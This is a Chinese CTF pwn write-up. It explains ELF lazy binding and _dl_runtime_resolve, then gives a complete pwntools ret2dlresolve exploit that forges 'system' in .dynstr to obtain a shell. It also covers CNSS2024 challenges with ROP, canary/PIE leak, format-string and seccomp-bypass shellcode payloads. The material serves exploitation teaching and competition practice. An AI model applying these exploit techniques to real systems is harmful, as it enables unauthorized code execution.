0x404018 <puts@got.plt>:     ss adc BYTE PTR [rax+0x0],al
0x40401c <puts@got.plt+4>: add BYTE PTR [rax],al
0x40401e <puts@got.plt+6>: add BYTE PTR [rax],al
   再回来,+6位置push一个0x0到栈上,然后又跳
1
2
0x401036 <puts@plt+6>:       push   0x0
0x40103b <puts@plt+11>: jmp 0x401020
   不难看到,这块儿正好在puts@plt上,具体来说是它在plt头部,所以也叫plt[0]
   又向栈上push,然后jmp0x404010
1
2
3
4
0x401020:    push   QWORD PTR [rip+0x2fe2]        # 0x404008
0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010
0x40102c: nop DWORD PTR [rax+0x0]
0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <puts@got.plt>
1
2
3
4
5
6
7
0x404008:       0x00007ffff7ffe2e0      0x00007ffff7fd8d30 # linkmap # _dl_runtime_resolve
pwndbg> x/10gx 0x00007ffff7fd8d30
0x7ffff7fd8d30 <_dl_runtime_resolve_xsavec>: 0xe3894853fa1e0ff3 0x4d252b48c0e48348
0x7ffff7fd8d40 <_dl_runtime_resolve_xsavec+16>: 0x482404894800023f 0x2454894808244c89
0x7ffff7fd8d50 <_dl_runtime_resolve_xsavec+32>: 0x8948182474894810 0x282444894c20247c
0x7ffff7fd8d60 <_dl_runtime_resolve_xsavec+48>: 0x00eeb830244c894c 0x24948948d2310000
0x7ffff7fd8d70 <_dl_runtime_resolve_xsavec+64>: 0x2494894800000250 0x2494894800000258
   需要注意的是,无论是32还是64位都是这一套模式,64位在这里不会用寄存器传递这两个参数。

_dl_runtime_resolve()如何重定位

   在具体讨论之前,补充一些关于Segment的东西
   .dynamic,存储很多关于动态链接的信息的结构体(ELF64_Dyn),结构体内包含的是信息的种类以及地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LOAD:0000000000403E20 ; ELF Dynamic Information
LOAD:0000000000403E20 ; ===========================================================================
LOAD:0000000000403E20
LOAD:0000000000403E20 ; Segment type: Pure data
LOAD:0000000000403E20 ; Segment permissions: Read/Write
LOAD:0000000000403E20 LOAD segment mempage public 'DATA' use64
LOAD:0000000000403E20 assume cs:LOAD
LOAD:0000000000403E20 ;org 403E20h
LOAD:0000000000403E20 _DYNAMIC Elf64_Dyn <1, 18h> ; DATA XREF: LOAD:00000000004001A0↑o
LOAD:0000000000403E20 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000403E20 ; DT_NEEDED libc.so.6
LOAD:0000000000403E30 Elf64_Dyn <0Ch, 401000h> ; DT_INIT
LOAD:0000000000403E40 Elf64_Dyn <0Dh, 40114Ch> ; DT_FINI
LOAD:0000000000403E50 Elf64_Dyn <19h, 403E10h> ; DT_INIT_ARRAY
LOAD:0000000000403E60 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000403E70 Elf64_Dyn <1Ah, 403E18h> ; DT_FINI_ARRAY
LOAD:0000000000403E80 Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000403E90 Elf64_Dyn <6FFFFEF5h, 4003A0h> ; DT_GNU_HASH
LOAD:0000000000403EA0 Elf64_Dyn <5, 400420h> ; DT_STRTAB
LOAD:0000000000403EB0 Elf64_Dyn <6, 4003C0h> ; DT_SYMTAB
LOAD:0000000000403EC0 Elf64_Dyn <0Ah, 48h> ; DT_STRSZ
LOAD:0000000000403ED0 Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000403EE0 Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000403EF0 Elf64_Dyn <3, 404000h> ; DT_PLTGOT
LOAD:0000000000403F00 Elf64_Dyn <2, 18h> ; DT_PLTRELSZ
LOAD:0000000000403F10 Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000403F20 Elf64_Dyn <17h, 4004D0h> ; DT_JMPREL
LOAD:0000000000403F30 Elf64_Dyn <7, 4004A0h> ; DT_RELA
LOAD:0000000000403F40 Elf64_Dyn <8, 30h> ; DT_RELASZ
LOAD:0000000000403F50 Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000403F60 Elf64_Dyn <6FFFFFFEh, 400470h> ; DT_VERNEED
LOAD:0000000000403F70 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000403F80 Elf64_Dyn <6FFFFFF0h, 400468h> ; DT_VERSYM
LOAD:0000000000403F90 Elf64_Dyn <0> ; DT_NULL
   注意关注(来自deepunk.icu)
   DT_REL 动态链接重定位表地址
   DT_SYMTAB 动态链接符号表地址
   DT_STRTAB 动态链接字符串表地址
   DT_INIT 初始化代码地址
   DT_FINI 结束代码地址
   .dynstr,动态链接中的字符串,可以从上面的结构体可以寻址。可以看到我们使用的puts()
   我们主要关注函数名字符串,比如说在no RELRO时,可以篡改.dynamic中指向该段结构的地址指向提前伪造好的.dynstr,然后触发某函数的重定位,这个函数就被重定位到了伪造段中包含的system字样。partial RELRO 或者 full RELRO时,这段内存不可写,这种方法就使用不了。
1
2
3
4
5
6
7
8
9
10
LOAD:0000000000400420 ; ELF String Table
LOAD:0000000000400420 unk_400420 db 0 ; DATA XREF: LOAD:00000000004003D8↑o
LOAD:0000000000400420 ; LOAD:00000000004003F0↑o ...
LOAD:0000000000400421 aLibcStartMain db '__libc_start_main',0
LOAD:0000000000400421 ; DATA XREF: LOAD:00000000004003D8↑o
LOAD:0000000000400433 aPuts db 'puts',0 ; DATA XREF: LOAD:00000000004003F0↑o
LOAD:0000000000400438 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:0000000000400470↓o
LOAD:0000000000400442 aGlibc225 db 'GLIBC_2.2.5',0 ; DATA XREF: LOAD:0000000000400480↓o
LOAD:000000000040044E aGlibc234 db 'GLIBC_2.34',0 ; DATA XREF: LOAD:0000000000400490↓o
LOAD:0000000000400459 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0000000000400408↑o
   .dynsym,这里是一堆符号表结构体,还是主要关注函数的结构体
1
2
3
4
5
LOAD:00000000004003C0 ; ELF Symbol Table
LOAD:00000000004003C0 Elf64_Sym <0>
LOAD:00000000004003D8 Elf64_Sym <offset aLibcStartMain - offset unk_400420, 12h, 0, 0, 0, 0> ; "__libc_start_main"
LOAD:00000000004003F0 Elf64_Sym <offset aPuts - offset unk_400420, 12h, 0, 0, 0, 0> ; "puts"
LOAD:0000000000400408 Elf64_Sym <offset aGmonStart - offset unk_400420, 20h, 0, 0, 0, 0> ; "__gmon_start__"
1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf64_Word st_name; /* 存的是.dynstr 中的偏移值 */
unsigned char st_info; /* 对于导入函数符号而言,它是0x12 */
unsigned char st_other;
Elf64_Section st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
} Elf64_Sym;
// 对于函数来说,3、4、5、6都是0
   .rel.dyn(DT_RELA)和.rel.plt(DT_JMPREL),被称为动态链接重定位表
   .rel.dyn,用于修正.data.got中的数据引用,函数的信息不在这里,一般也不是很关注这个
   .rel.plt这个段和之前的rel_arg直接相关,并且用于修正.got.plt(俗称的got表)。在32位中rel_arg是用于计算它的偏移,64位里直接就是下标(deepunk.icu);
1
2
3
4
5
6
7
LOAD:00000000004004A0 ; ELF RELA Relocation Table
LOAD:00000000004004A0 Elf64_Rela <403FF0h, 100000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main
LOAD:00000000004004B8 Elf64_Rela <403FF8h, 300000006h, 0> ; R_X86_64_GLOB_DAT __gmon_start__

LOAD:00000000004004D0 ; ELF JMPREL Relocation Table
LOAD:00000000004004D0 Elf64_Rela <404018h, 200000007h, 0> ; R_X86_64_JUMP_SLOT puts
LOAD:00000000004004D0 LOAD ends
   64位和32位的结构体不一样,结构体示例对比一下。(deepunk.icu)
   
1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;
1
2
3
4
5
Node           Objfile                                         Load Bias      Dynamic Segment 
0x7ffff7ffe2e0 <Unknown, likely /home/pwn/testtable/lazy_load> 0x0 0x403e20
0x7ffff7ffe890 linux-vdso.so.1 0x7ffff7fc1000 0x7ffff7fc13a0
0x7ffff7fbb160 /lib/x86_64-linux-gnu/libc.so.6 0x7ffff7d83000 0x7ffff7f9cbc0
0x7ffff7ffdaf0 /lib64/ld-linux-x86-64.so.2 0x7ffff7fc3000 0x7ffff7ffce80
   以其中的libc.so.6为例,看看.dynamic的结构,与执行文件对比一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/20gx 0x7ffff7f9cbc0
0x7ffff7f9cbc0: 0x0000000000000001 0x0000000000007d69
0x7ffff7f9cbd0: 0x000000000000000e 0x0000000000007d7e
0x7ffff7f9cbe0: 0x0000000000000019 0x0000000000216900
0x7ffff7f9cbf0: 0x000000000000001b 0x0000000000000010
0x7ffff7f9cc00: 0x0000000000000004 0x00007ffff7f939f8
0x7ffff7f9cc10: 0x000000006ffffef5 0x00007ffff7d833c8
0x7ffff7f9cc20: 0x0000000000000005 0x00007ffff7d99650
0x7ffff7f9cc30: 0x0000000000000006 0x00007ffff7d87ad0
0x7ffff7f9cc40: 0x000000000000000a 0x0000000000007f15
0x7ffff7f9cc50: 0x000000000000000b 0x0000000000000018
pwndbg> x/20gx 0x403e20
0x403e20: 0x0000000000000001 0x0000000000000018
0x403e30: 0x000000000000000c 0x0000000000401000
0x403e40: 0x000000000000000d 0x000000000040114c
0x403e50: 0x0000000000000019 0x0000000000403e10
0x403e60: 0x000000000000001b 0x0000000000000008
0x403e70: 0x000000000000001a 0x0000000000403e18
0x403e80: 0x000000000000001c 0x0000000000000008
0x403e90: 0x000000006ffffef5 0x00000000004003a0
0x403ea0: 0x0000000000000005 0x0000000000400420
0x403eb0: 0x0000000000000006 0x00000000004003c0
   可以看到两个链接文件的ELF64_Dyn的类型基本一致,说明两个文件的有关动态链接的结构相似的,后面所指向的诸如.dynstr.dynsym.rel.plt地址是不一样的,是各自的真实地址。

一点补充(有关-fcf-protection)

   这是ubuntu的gcc默认开启的一项保护措施,在第一次函数调用时,不会按照上面的流程,而是直接到glibc中,详情参考https://www.soinside.com/question/AENBEApAgMMbfzPviVeoBc

攻击手段

   现在来具体分析一下这道boss题怎么做。由于给出了source code所以我们自己编译一个方便调试的执行文件,并且把随机数那一部分去掉,指令和上面那个demo一样
1
2
3
4
5
6
7
8
[*] '/home/pwn/worktable/cnss2024/boss/src/attachment'
Arch: amd64-64-little
RELRO: Partial RELRO <---------
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
   首先来到init()函数,passwd指向一个mmap()出来的空间,passwd本身在.bss的最高位置。然后在这个空间中写入随机数,最后把前八位换成固定的deadbeef字符串,这样总共就有0x10个已写入字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
int fd = open("/dev/urandom", 0);
if(fd < 0){
_Exit(0);
}
passwd = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE , MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
read(fd, passwd, 0x10);
memcpy(passwd, "deadbeef", 0x8);
close(fd);
return;
}
   动态调试一下,发现多划分了0x2000的长度。
1
2
3
4
5
6
7
8
pwndbg> x/10gx 0x4040A0 
0x4040a0 <passwd>: 0x00007ffff7fb9000 0x0000000000000000
0x4040b0: 0x0000000000000000 0x0000000000000000
0x4040c0: 0x0000000000000000 0x0000000000000000
0x4040d0: 0x0000000000000000 0x0000000000000000
0x4040e0: 0x0000000000000000 0x0000000000000000
pwndbg> vmmap
0x7ffff7fb9000 0x7ffff7fbd000 rw-p 4000 0 [anon_7ffff7fb9]
   再查看一下linkmap的地址,
   再看看main()read_num()就是atoll()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(){
unsigned long long offset, value;
char buf[0x10];
init();

myread(buf, 0x10);
do{
offset = read_num();
value = read_num();
*((unsigned long long *)passwd + offset) ^= value;
}while(!strncmp(passwd, buf, 0x10));

puts(passwd);
_Exit(0);
}
   大致内容比较明确,从passwd开始的位置可以8字节一组任意写,前提是知道原本那个地址的内容是什么。
   这道题比较难回显,所以考虑ret2dlresolve。想法是,由于puts()在最后才会第一次调用,也就是那时会调用一次__dl_runtime_resolve来重定位puts.
   另外的,由于无法控制压栈的内容,所以解释puts时的rel_arglinkmap不能变,所以放弃伪造linkmap
   由于mmap的空间在ld内存的低位,而且偏移不变,所以可以尝试修改到ld的内容,改变linkmap内的内容,实现误导__dl_runtime_resolve
   首先查看一下linkmap的地址,发现都在ld内,重点修改的是执行文件的linkmap
1
2
3
4
5
6
pwndbg> linkmap
Node Objfile Load Bias Dynamic Segment
0x7ffff7ffe2e0 <Unknown, likely /home/pwn/worktable/cnss2024/boss/src/attachment> 0x555555554000 0x555555557df8
0x7ffff7ffe890 linux-vdso.so.1 0x7ffff7fc1000 0x7ffff7fc13a0
0x7ffff7fbb160 /lib/x86_64-linux-gnu/libc.so.6 0x7ffff7d83000 0x7ffff7f9cbc0
0x7ffff7ffdaf0 /lib64/ld-linux-x86-64.so.2 0x7ffff7fc3000 0x7ffff7ffce80
   思路是,重定向时__dl_runtime_resolve会借助.dynstr中的字符串,在libc的linkmap中查找目标字符串的偏移,这个偏移+libc基址 被写到.got.plt中。所以这里实际上有两种方法,第一种方法,伪造一个.dynstr,使重定位查找到的不是puts,而是system;第二种方法,修改linkmap中libc的基地址,使.got.plt中被写入我们指定的函数。
   博主的方法是第一种方法,并且使用docker容器作为环境,但是这种方法在docker容器中直接运行可以getshell,docker容器把attachment挂到端口上打远程时就不行,推测是直接运行的文件的内存布局和挂在端口上的不一样,尝试爆破出两者的偏移结果也没用。
   exp.py仅供参考,更具体的思路是将linkmap中的l->info[DT_STRTAB]修改最后一位(LSB),变为l->info[DT_DEBUG]的地址,DT_DEBUG结构体的地址成员指向的是ld.so中的一段可读写内存,所以在这个位置的0x3e(puts字符串在.dynstr中的偏移)偏移处伪造一个system\x00字样,0x3e偏移处正好全是\x00,方便了工作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from os import system
def debug(cmd=''):
system("gdb --pi={}".format(io.pid))
#system("gdb -q -ex 'target remote localhost:8000'")
pause()
def key(sh, crypto): # 目标比特串,原本的比特串
key = ''
ret = 0
length = len(sh)
for i in range(length):
temp = chr(sh[i] ^ crypto[i])
key += temp
for i in range(length):
ret += pow(256, i) * ord(key[i])
return ret

def xorsend(offset, payload):
io.sendline(offset)
sleep(0.01)
io.sendline(payload)
sleep(0.01)

# io = remote("152.136.11.155",10039)
io = remote("localhost", 8000)
# io = process("./boss/src/attachment")
context.log_level = "debug"
io.send(b'sh\x00'.ljust(16, b'\x00'))
# passwd头部改成'sh\0',绕过strncmp()
xorsend(str(0), str(key(b'sh\x00', b'dea')))
# print(io.recvline())
# 修改l->info[DT_STRTAB]的LSB,指向l->info[DT_DEBUG]
of = 0x1000*(-6)
offset1 = (0x7ffff7ffe348 - 0x7ffff7fb9000 + of) // 8 # 0x45348 0x4a348
xorsend(str(offset1), str(key(b'\xb8', b'\x78')))
# 在0x3e处开始伪造system\x00字样
offset2 = (0x7ffff7ffe118 - 0x7ffff7fb9000 + of) // 8 # 0x45118 0x4a118
xorsend(str(offset2 + 7), str(key(b'\x73\x79'.rjust(8, b'\x00'), b'\x00'*8)))

xorsend(str(offset2 + 8), str(key(b'\x73\x74\x65\x6d'.ljust(8, b'\x00'), b'\x00'*8)))
'''
0x7f1e1f0f1148: 0x0000000000000000 0x7379000000000000
0x7f1e1f0f1158: 0x000000007374656d 0x0000000000000000
'''
# 再把开头处改成'/bin/sh\0',跳出循环
xorsend(str(0), str(key(b'/bin/sh\x00', b'sh\x00dbeef')))
io.interactive()
   第二种方法是出题人迪普朋克提示的,但没有想到怎么实现,putssystem()在libc中的偏移有16进制下的五位之多,由于无法泄露libc基址,异或最多修改三位,所以不知道具体怎么写。
   补:几天之后打通了远程,发现是nc远程启动的进程和docker容器内本地启动的进程内存布局不一样,mmap()分配的空间的位置不一样,把上面exp的地址改一下就可以。

CNSS2024 pwn 方向wp

前排提示:1.一些题目没exp
       2.由于题目不是一次上完的,所以顺序上可能不完全与当时一致
     3.附件在GitHub仓库里有

💓 引导之始(🍼Baby)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
⚠ 题目描述
即使引导早已破碎,也请您当上PWN高手。

nc 152.136.11.155 10030

💡 Hint
一头雾水?你可能需要阅读群文件->Bin Guideline
需要一点点命令行操作的知识
nc是什么?装个Linux吧
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
   你室的pwn每年都有的nc就送题

🫨 打地鼠(🍼Baby)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
⚠ 题目描述
打不到我,打不到我喵(/≧▽≦)/

nc 152.136.11.155 10031

💡 Hint
你不会真打算自己打吧
你可能需要Pwntool
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
   依然是你室每年都有的 IO 题,这题比上一年的 CNSS娘中之人 简单一些,这个题打就完了,上一年的题还需要做分类和模式匹配。
   个人观察来看,很多人第三题做了也没有做这个第二题,实际上这种 IO 题完全不需要 pwn 知识,只需要会用 pwntools 里的 IO 工具即可。究其原因,第一IDA反编译把大🔥给吓坏了,逻辑实现还是比较长的(虽然不一定需要去看),其次调 IO 比较麻烦,对于收发字符需要有比较精确的控制 ,其实pwn就是这样繁琐,差错一个字节甚至一个位都不行,IO 题只是一切的开始,喜欢的小伙伴千万不要放弃。
   一点和本题相关的,反编译得知玩家输出的地鼠代号是用 getchar() 接收的,而且只有一个 getchar(),所以在发送的时候不要使用 .sendline(),否则多出来的 '\n' 会在下一次打地鼠时被接收。如果打过算法类竞赛,肯定对此深有体会。

🥺 not enough(🐔Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
⚠ 题目描述
快把shell给我!

nc 152.136.11.155 10032

💡 Hint
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
   这道题剥去了符号表,但实际上也没太大影响,核心代码只有一个main()和一个手写的改进版read(),这个改进版read()作用就是输入'\n'时终止输入,并把其改为'\0',以截断字符串,和scanf("%s")差不多,但是限制输入量。这个改版read()很常见并且一般漏洞点不会放在这里面。
   查看12行,发现字符串可以越界读写,于是可以溢出到v4,将其修改为0x114514,然后就可以轻松 getshell()

😕 We’re safe… for now… or not?(🐔Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
⚠ 题目描述
服务器出大锅啦,@XeAm正在紧急抢修系统,好不容易修好了。
这时,一个刻板印象的黑客大脸出现了,怎么回事?

明明程序main函数里面看起来没有异常,为什么出现了HACKED字样?

请将你的想法整理成PDF或markdown格式,发送到wwworchid39@gmail.com,我将根据你的答案给出flag

如果12小时内未回复请QQ联系。

💡 Hint
这是一个ELF程序,也就是说你需要Linux下运行
chmod +x pwn
动态调试会很管用
程序的callee是如何返回caller的?
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
   很简单,复制字符串到目标栈地址上,由于没有检查长度和canary,导致了 previous rbp返回地址的最低一位 被覆盖,而被覆盖后的地址指向了一个后门函数。

😗 I’m the mole(🐔Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
⚠ 题目描述
做完😕 We're safe... for now... or not?后,你终于知道漏洞在哪里了,此时你动了点小心思...

nc 152.136.11.155 10035

💡 Hint
结合之前学到的工具来做!
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
   也是保留项目 ret2text,运用从上一题学到的栈溢出技术,将返回地址修改为后门函数即可 getshell
   值得注意的一点是,众所周知,64位的 system() 要求栈地址16位对齐,而不是平常的8位(具体原因请移步nydn大佬的博客https://nyyyddddn.github.io/2023/09/26/exp%E6%9C%AC%E5%9C%B0%E4%B8%8D%E9%80%9A%E8%BF%9C%E7%A8%8B%E9%80%9A%E7%9A%84%E9%97%AE%E9%A2%98/ ),涉及其中一个寄存器的问题。
   招新pwn题所有涉及 ret2textsystem()的,似乎本地远程都有这个栈平衡的问题,对于此题来说,最终的 ROP 应该是下面这样的。
1
io.send(b'a'*?????? + p64(ret) + p64(backdoor))
   其他的题还有其他的方法,之后会讲。

☎️ Call Me……(🐔Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
⚠ 题目描述
……Call Me……

不是,这电话也打不通啊?

🔗 题目地址
nc 152.136.11.155 10037

📃 题目附件
点我下载

💡 Hint
Canary
Pie
🚩 Flag格式
CNSS{meaningful_sentence}

🔨 暴打出题人
@Timlzh
   可以感觉到Tim出的题很温油,后面的一道 heap 也是。
   从这题开始要接触正儿八经的保护措施了,这题主要是Canary和Pie。
   Canary(金丝雀)是栈溢出哨兵,如果开启了它,栈帧的 last rbp/ebp 低一位字长的位置就会填写一字长的随机量,然后程序就会在需要栈溢出检查的函数返回之前检查这个随机量,如果发现这个量被修改,当前函数不返回,执行错误处理(然后退出)。
   注意Canary的最低位一定为'\x00',起到截断输出的效果(对write()没用),并且Canary的值是全局变量,在一个程序的生命周期中不变。
   然后PIE,和ASLR一样是地址随机化的保护技术。区别在于ASLR是操作系统实现的,一般关不掉,而且只随机堆栈和动态链接的部分;PIE是编译器实现的 gcc -no-pie 可以关掉PIE,可以将.text.bss.data 等地址也随机化,让你打ROP更难受(不是)。最后,无论怎么随机化,都是以页为单位的,也就是16进制的后三位不会变化,地址之间的偏移也不会变化。
   这个题在输入正好11位的电话号码之前,会一直循环打印输入的字符串,考虑借此leak pie 和 canary。
1
2
3
4
5
6
# leak canary
payload1 = b'a'*(???? + 1) # 溢出到canary最低位的\x00,便于输出时带出canary
# leak pie
payload2 = b'a'*(!!!!) # 正好完全覆盖last_rbp即可
# ret2backdoor
payload3 = b'a'*($$$$) + p64(canary) + p64(fake_rbp) + p64(backdoor + pie_base)
   然后还是system() 栈平衡的问题,可以向上面一样,在 ROP 中加入 p64(ret + pie_base),也可以返回到backdoor() 中实际调用 system() 的位置,由于少了最开头的压栈操作,从此处开始调用确实是16位对齐的。
1
2
3
4
5
6
7
8
9
10
11
12
13
public bug
bug proc near
; __unwind {
endbr64
push rbp
mov rbp, rsp
lea rax, command ; "/bin/sh" <----------直接ret到这个位置
mov rdi, rax ; command
call _system
mov edi, 0 ; status
call _exit
; } // starts at 128D
bug endp

🐦‍⬛ happy sugar life(🤖Mid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
⚠ 题目描述
潮水褪去,在阳光下剥落出的白色晶胞
尝之,口感咸鲜回甘

据传是对付羽兽的宝物
吸食一粒即会毙命

幽暗森林里的歌声回响
祂是光明、也是救赎
亦不知将被尖锐的血色吞没

喜食糖物,于是祂飞向了海边……

💡 Hint
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Astesia
   Hint+:Canary == n.金丝雀; 其次Canary可能发音与Candy有部分相近吧(
   所以这一题还是想办法绕过Canary保护,然后返回到后门函数。实际上这一题比上一题上题上得早一些。
   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sugar_salt()
{
int i; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
strcpy(s, "We don't need a canaria. I'll kill you!");
v2 = strlen(s);
for ( i = v2; i <= 40; ++i ) // <---------- 漏洞
s[i] = v2 + 1;
printf("Satou:%s", s); // <---------- leak canary and stack
read(0, s, 0x28uLL);
printf("Shio:");
printf(s); // <-------- 格式化字符串漏洞
return v4 - __readfsqword(0x28u);
}
   漏洞在for ( i = v2; i <= 40; ++i ),也是c语言新手常犯的错误,下标是0开始的,所以这里正好 offset-by-one , 把Canary最低位覆盖,之后又自带一个输出就把Canary泄露了。
   可以看到第二遍输入没有越界写,但是有格式化字符串漏洞。所以这个格式化字符串漏洞做两件事,一是修复Canary最低位为'\x00',二是改返回地址。
   然后一件事,由于我们要改栈上的内容,于是需要指向栈某些位置的指针,进而需要泄露栈地址,幸好栈地址也和Canary一起泄露了。
   大致的payload如下,使用%hhn而不是%n修改单个字节。
1
2
3
4
5
6
7
canary = u64(io.recv(8))|0xff - 0xff
last_rbp = u64(io.recv(6).ljust(8, b'\x00')) # 栈地址的一般高两位是空的
rbp = last_rbp - offset # offset 是定值

payload = b'%{argv1_offset}$hhn' + b'%{amount}c' + b'%{argv2_offset}$hhn'
payload += b'a'*???? # 确保接下来的两个指针参数按八位对齐。
payload += p64(rbp - 0x8) + p64(rbp + 0x8)
   然后这个backdoor()也是有栈平衡的问题,解决方式和上一题一致。

🤔 s代表着…(🤖Mid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
⚠ 题目描述
塞克考姆城的神奇旗帜
其真名会随时间而变化

据说只有呼唤出正确的名号
才能被举起挥舞

如坚实的巨树,屹立不倒
如敏捷的幻象,若即若离
如神圣的光芒,指引胜利

筛尔寇德?挥舞旗帜的第一勇士。

💡 Hint
flag文件名并非"./flag"、"./flag.txt"等
注意沙箱中被允许的系统调用
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Astesia
   已经告诉了s代表shellcode。
   checksec魅力时刻,有rwx段,但就是不提示,只能gdb调试看看。
1
2
3
4
5
6
7
8
9
10
$ checksec pwn5
[*] '/home/pwn/worktable/cnss2024/pwn5'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled <----- 注意开了PIE
SHSTK: Enabled
IBT: Enabled
Stripped: No
1
2
3
4
5
6
7
8
9
10
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x142857000 0x142858000 rwxp 1000 0 [anon_142857]
0x555555554000 0x555555555000 r--p 1000 0 /home/pwn/worktable/cnss2024/pwn5
0x555555555000 0x555555556000 r-xp 1000 1000 /home/pwn/worktable/cnss2024/pwn5
0x555555556000 0x555555557000 r--p 1000 2000 /home/pwn/worktable/cnss2024/pwn5
0x555555557000 0x555555558000 r--p 1000 2000 /home/pwn/worktable/cnss2024/pwn5
0x555555558000 0x555555559000 rw-p 1000 3000 /home/pwn/worktable/cnss2024/pwn5
0x7ffff7d60000 0x7ffff7d63000 rw-p 3000 0 [anon_7ffff7d60]
   第一个就是。
   注意到开了sandbox
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012
0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012
0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012
0008: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0012
0009: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0012
0010: 0x15 0x01 0x00 0x0000004e if (A == getdents) goto 0012
0011: 0x15 0x00 0x01 0x0000005a if (A != chmod) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
   由于Hint提示flag名称未知,所以我们需要使用图中getdents先获取当前列表的所有文件信息,然后再打一个ORW。
   注意K那一列,是具体的系统调用号,网上都教64位用getdents64,但它的调用号这题被ban了,用getdents本身也足够了。
   问了出题人,flag的名称每1s变一次,所以才给了两次shellcode的机会。
   然后注意一点,第一遍shellcode要有压栈和返回的操作,不然到这就SEGV了,没有第二次shellcode的机会。
   开辟0x200栈空间,信息直接放在栈上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
shellcode1 = '''
push rbp
mov rbp, rsp
sub rsp, 0x200
'''
shellcode1 += shellcraft.open("./")
shellcode1 += shellcraft.getdents(3, "rsp", 0x200)
shellcode1 += shellcraft.write(1, "rsp", 0x200)
shellcode1 += '''
leave
ret
'''

shellcode2 = {$orw}
   博主写的时候由于用的wsl,不知为何wsl上pwntools的asm()很慢,导致两次shellcode间隔超过1s,flag文件名已经变了,死活过不了,后来用虚拟机直接过😅。

😎 头号玩家(🤖Mid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
⚠ 题目描述
隐匿在品学楼之中的幽灵,
不可观测,难以言喻

旧时,会有许多人前去寻找他,
或恐惧、或期待

话虽如此,
真正的他,或许早已被人忘却

💡 Hint
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Orchid
